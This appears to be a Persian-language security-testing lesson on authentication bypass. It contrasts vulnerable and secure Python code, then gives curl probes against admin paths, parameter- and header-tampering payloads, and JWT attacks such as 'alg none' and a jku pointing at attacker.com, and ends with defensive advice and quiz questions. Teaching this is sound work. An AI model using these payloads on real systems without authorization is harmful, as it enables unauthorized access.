در حال بارگذاری...
بررسی راههای دور زدن مکانیزمهای احراز هویت شامل دسترسی مستقیم به صفحات محافظتشده و manipulation پارامترها.
اهداف این درس
تست دور زدن الگوی احراز هویت شامل بررسی راههایی است که مهاجم میتواند بدون ارائه اعتبارنامههای معتبر، به صفحات محافظتشده دسترسی پیدا کند.
تکنیکی که مهاجم بدون نیاز به شکستن رمز عبور، مستقیماً به منابع محافظتشده دسترسی پیدا میکند.
دور زدن احراز هویت زمانی ممکن است که برنامه احراز هویت را فقط در یک نقطه (مثل صفحه ورود) بررسی کند، نه در هر درخواست. اگر برنامه فقط در صفحه ورود بررسی کند که کاربر وارد شده یا نه، مهاجم میتواند مستقیماً به صفحات محافظتشده دسترسی پیدا کند.
1# کد آسیبپذیر - بررسی فقط در صفحه ورود2def login(request):3 if authenticate(request):4 session['user'] = request.user5 return redirect('/dashboard')6 return render('login.html')78# صفحه محافظتشده بدون بررسی9def admin_panel(request):10 # هیچ بررسی احراز هویت نیست!11 return render('admin.html')1# کد امن - بررسی در هر درخواست2def require_auth(func):3 def wrapper(request, *args, **kwargs):4 if 'user' not in session:5 return redirect('/login')6 return func(request, *args, **kwargs)7 return wrapper89@require_auth10def admin_panel(request):11 return render('admin.html')| نوع | روش | مثال |
|---|---|---|
| دسترسی مستقیم | URL مستقیم | /admin/dashboard |
| Parameter manipulation | تغییر پارامترها | role=admin |
| HTTP method | تغییر متد | GET به POST |
| Header manipulation | تغییر هدرها | X-Forwarded-For: 127.0.0.1 |
| Cookie manipulation | تغییر کوکی | session=valid_token |
| API endpoint | دسترسی مستقیم API | /api/admin/users |
1# تست دسترسی بدون session2curl -s -o /dev/null -w "%{http_code}" https://target.com/admin/dashboard34# تست دسترسی با session نامعتبر5curl -s -o /dev/null -w "%{http_code}" \6 -H "Cookie: session=invalid" \7 https://target.com/admin/dashboard89# تست دسترسی به API10curl -s -o /dev/null -w "%{http_code}" https://target.com/api/admin/users1112# تست دسترسی با HTTP method مختلف13curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/admin/dashboard1# تغییر role2{"role": "admin"}34# تغییر isAdmin5{"isAdmin": true}67# تغییر userId8{"userId": 1}910# تغییر permission11{"permission": "all"}1213# تغییر access_level14{"access_level": 999}1# تست X-Forwarded-For2curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin34# تست X-Original-URL5curl -H "X-Original-URL: /admin" https://target.com/67# تست X-Rewrite-URL8curl -H "X-Rewrite-URL: /admin" https://target.com/910# تست X-Custom-IP-Authorization11curl -H "X-Custom-IP-Authorization: 127.0.0.1" https://target.com/adminدر فرآیند ورود چندمرحلهای، مهاجم ممکن است بتواند مرحله احراز هویت را دور بزند:
در تست حرفهای، هر پاسخ باید مستند شود:
در معماریهای مدرن مثل SPA، API و میکروسرویسها، دور زدن احراز هویت ممکن است از مسیرهای متفاوتی رخ دهد:
1# Algorithm confusion: تغییر RS256 به HS2562# اگر سرور از کلید عمومی برای تأیید استفاده کند3{"alg": "HS256", "typ": "JWT"}45# None algorithm6{"alg": "none", "typ": "JWT"}78# Kid injection9{"kid": "/dev/null", "alg": "HS256"}1011# JKU/JWK injection12{"jku": "https://attacker.com/jwks.json", "alg": "RS256"}1# استفاده از encoding مختلف2curl -H "Authorization: Bearer eyJ..." https://target.com/admin34# استفاده از headerهای جایگزین5curl -H "X-Auth-Token: valid_token" https://target.com/admin67# استفاده از path traversal8curl https://target.com/./admin/dashboard910# استفاده از case variation11curl https://target.com/Admin/Dashboardدور زدن احراز هویت میتواند با سایر آسیبپذیریها ترکیب شود:
شواهد قوی شامل موارد زیر است:
هشدار
هرگز به احراز هویت سمت کلاینت اعتماد نکنید. تمام بررسیهای امنیتی باید سمت سرور انجام شوند.
توصیه عملی
از middleware برای بررسی احراز هویت در تمام مسیرها استفاده کنید. این تضمین میکند که هیچ مسیری بدون بررسی احراز هویت باقی نمیماند.
نکته حرفهای
در تست حرفهای، ابتدا تمام مسیرهای محافظتشده را شناسایی کنید، سپس هر کدام را بدون احراز هویت تست کنید. همیشه شواهد را مستند کنید.
همیشه احراز هویت را سمت سرور بررسی کنید.
دسترسی مستقیم به URL صفحات محافظتشده باید مسدود باشد.
پارامترهای احراز هویت نباید قابل manipulation باشند.
رایجترین روش دور زدن احراز هویت چیست؟
دور زدن احراز هویت چیست؟
دور زدن احراز هویت تکنیکی است که مهاجم بدون ارائه اعتبارنامههای معتبر، به صفحات محافظتشده دسترسی پیدا میکند.
رایجترین روش دور زدن احراز هویت چیست؟
دسترسی مستقیم به URL صفحات محافظتشده بدون ورود به سیستم.
JWT Algorithm Confusion چیست؟
در JWT Algorithm Confusion، مهاجم الگوریتم امضا را از RS256 به HS256 تغییر میدهد و از کلید عمومی بهعنوان کلید مخفی استفاده میکند.
چگونه از دور زدن احراز هویت جلوگیری کنیم؟
با بررسی احراز هویت در هر درخواست سمت سرور، استفاده از middleware و عدم اعتماد به پارامترهای کلاینت.